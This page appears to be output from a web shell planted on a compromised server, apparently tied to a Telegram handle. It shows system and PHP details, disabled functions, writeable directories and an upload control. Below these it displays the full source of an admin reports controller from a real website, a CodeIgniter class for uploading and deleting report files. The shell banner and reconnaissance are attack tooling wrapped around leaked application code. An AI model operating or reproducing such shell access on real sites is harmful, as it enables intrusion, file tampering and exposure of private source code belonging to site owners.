https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/iatax.com.au/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/iatax.com.au/public_html/application/controllers/admin/Reports.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Reports extends Admin_Controller {

	private $report_current_id = null; 
	private $imageupload_indexpage = FALSE;
		
	function __construct() { 
		parent::__construct();	
		$this->load->model('report_m');
	} 
		
	//this is to list all reports
	public function index() {

		$this->load->helper('form');

		if(isset($_POST['landing_image'])) {
			$this->imageupload_indexpage = TRUE;

      if ($_FILES['userfile']['size'] !== 0) {  	
        $config['upload_path'] = './uploads/report/'; 
        $config['allowed_types'] = 'jpg|png|jpeg'; 
        $config['max_size']	= '300';
        $config['max_width']  = '1600';
        $config['max_height']  = '460';
        
        $this->load->library('upload', $config); 
  
        if ( ! $this->upload->do_upload()) {
          //echo $this->upload->display_errors(); die();
          $this->session->set_flashdata('banner_error', "<br>
            <p style='background:orange; color:white; padding:5px; font-weight:bold;'>{$this->upload->display_errors()}</p>");
            redirect('admin/reports');
        } else {
          $image = $this->upload->data();
          $image_filename = $image['file_name']; 	 
        }	
      }
		
			//image upload
			if (isset($image_filename)) {
				$data['report_landingpage_image'] = $image_filename; 
        $this->db->where('id_configuration', 1);
        $this->db->update('configuration', $data); 

        $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Report Landing Page Edit Successful</p>');
			} 
		}

		//get landingpage banner image, description and link
		$this->db->select('report_landingpage_image')->from('configuration')->where('id_configuration', 1);
		$this->data['report_landingpage'] = $this->db->get()->row();

		//pagination in action. 100 results per page
		$this->load->library('pagination');

		$config = array();
		$this->load->helper('pagination_helper');
		$config = pagination_format();
		$config['base_url'] = base_url() . 'admin/reports/index';
		$config['total_rows'] = $this->report_m->record_count(); 
		$config['per_page'] = 100;
		$config['uri_segment'] = 4;

		$this->pagination->initialize($config);
   	$this->data['reports'] = $this->report_m->get_all_reports($config['per_page'], 
		$this->uri->segment($config['uri_segment']));  

		//load view
		$this->data['subview'] = 'admin/reports/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');		
  }
	
	//to add a new report 
	public function add() {
		$this->data['reports'] = $this->report_m->get_new();

		//get ordering number and display at add form
		$this->db->select_max('priority')->from('reports');
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['reports']->priority = 1;	
		} else {
			$this->data['reports']->priority = $current_priority + 1;
		}

		//validation in action
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); 
		$config = $this->report_m->rules;
		$this->form_validation->set_rules($config); 

		//add $this because we use hmvc
		if($this->form_validation->run($this) == TRUE) {
			$file_filename = $this->file_processing($_FILES['userfile']['size']);

			$data = $this->table_data_processing(
				$file_filename
			);

			$this->report_m->add_report($data);

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Report Add Successful</p>');

			redirect('admin/reports');
		} 
		
		$this->data['subview'] = 'admin/reports/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	
	//to edit report in admin
	public function edit($id = NULL) {

		if ($id == NULL) { show_404(); }

		//check if id exist. If not exist, show 404.
		$count = $this->report_m->count_exist($id);
		if ($count == 0) { show_404(); } 		

		$this->data['reports'] = $this->report_m->get($id);	

		$this->report_current_id = (int) $id;

		//validation check in action
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled
		
		$config = $this->report_m->rules;
		$this->form_validation->set_rules($config); 

		if($this->form_validation->run($this) == TRUE) {
			
			$file_filename = $this->file_processing($_FILES['userfile']['size']);

			$data = $this->table_data_processing($file_filename);

			$this->report_m->edit_report($id, $data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Report Edit Successful</p>');
			
			redirect('admin/reports/edit/' .  $id);
		} 
	
		$this->data['subview'] = 'admin/reports/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}

	//to delete a report
	public function delete($id) {
		$count = $this->report_m->count_exist($id);
		if ($count == 0) { 
			//page not exist
			show_404();
		}		

		//delete file from server
		//check if there is an existing file
		$this->db->select('file')->from('reports')->where('id', (int) $id);
		$file = $this->db->get()->row();
		
		if ($file->file != '' || $file->file != NULL) {
			
			//Delete the actual file from server. FCPATH is codeigniter base path
			unlink(FCPATH .'/uploads/report/'. $file->file);
		}

		//delete report
		$this->report_m->delete($id); 

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Report Delete Successful</p>');
		redirect('admin/reports');
	} 


	//file upload processing
	private function file_processing($file_file_size) {

		//check & processing image banner upload files	
		if ($file_file_size !== 0) {  	
			$config['upload_path'] = './uploads/report/'; 
			$config['allowed_types'] = 'pdf'; 
			$config['max_size']	= '20000';
		
			$this->load->library('upload', $config); 

			if ( ! $this->upload->do_upload()) {
        //echo $this->upload->display_errors(); die();
				
				$this->session->set_flashdata('banner_error', "<br>
					<p style='background:orange; color:white; padding:5px; font-weight:bold;'>{$this->upload->display_errors()}</p>");

				if ($this->report_current_id != NULL) {
					redirect('admin/reports/edit/' . $this->report_current_id);
				} elseif($this->report_current_id == NULL && $this->imageupload_indexpage == FALSE) {
					redirect('admin/reports/add');
				} 
			
			} else {
				$file = $this->upload->data();
				$file_filename = $file['file_name']; 	 
				return $file_filename; 
			}	
		}
	}

	private function table_data_processing($file_filename) {
		$data = array(
			'year' 	=> $this->security->xss_clean($this->input->post('year')),
			'title_ind' 	=> $this->security->xss_clean($this->input->post('title_ind')),
			'title_en' => $this->security->xss_clean($this->input->post('title_en')),
			'priority' 		=> $this->security->xss_clean($this->input->post('priority'))
		);
		//file upload
		if (isset($file_filename)) {
			$data['file'] = $file_filename; 
		} 
		return $data; 
	}

	//To delete report landingpage banner image file from server, and from database
	public function delete_landingpage_image() { 
		//get image file name for deletion
		$this->db->select('report_landingpage_image')->from('configuration')->where('id_configuration', 1);
		$image = $this->db->get()->row()->report_landingpage_image;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/report/'. $image);

		//Delete image field from database
		$data = array( 
			'report_landingpage_image' => '',
		);
		$this->db->where('id_configuration', 1);
		$this->db->update('configuration', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/reports'); 
	}

	//To delete report banner image file from server, and from database
	public function delete_file($id = NULL) { 

		$count = $this->report_m->count_exist($id);

		if ($id == NULL || $count == 0) {	
			redirect('admin/reports');
		}

		//get file file name for deletion
		$this->db->select('file')->from('reports')->where('id', (int) $id);
		$file = $this->db->get()->row();

		//Delete the actual file file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/report/'. $file->file);

		//Delete file field from database
		$data = array( 
			'file' => '',
		);

		$this->db->where('id', (int) $id);
		$this->db->update('reports', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">File Delete Successful</p>');
		
		redirect('admin/reports/edit/' . $id); 
	}	
}

https://t.me/RX1948 - 2025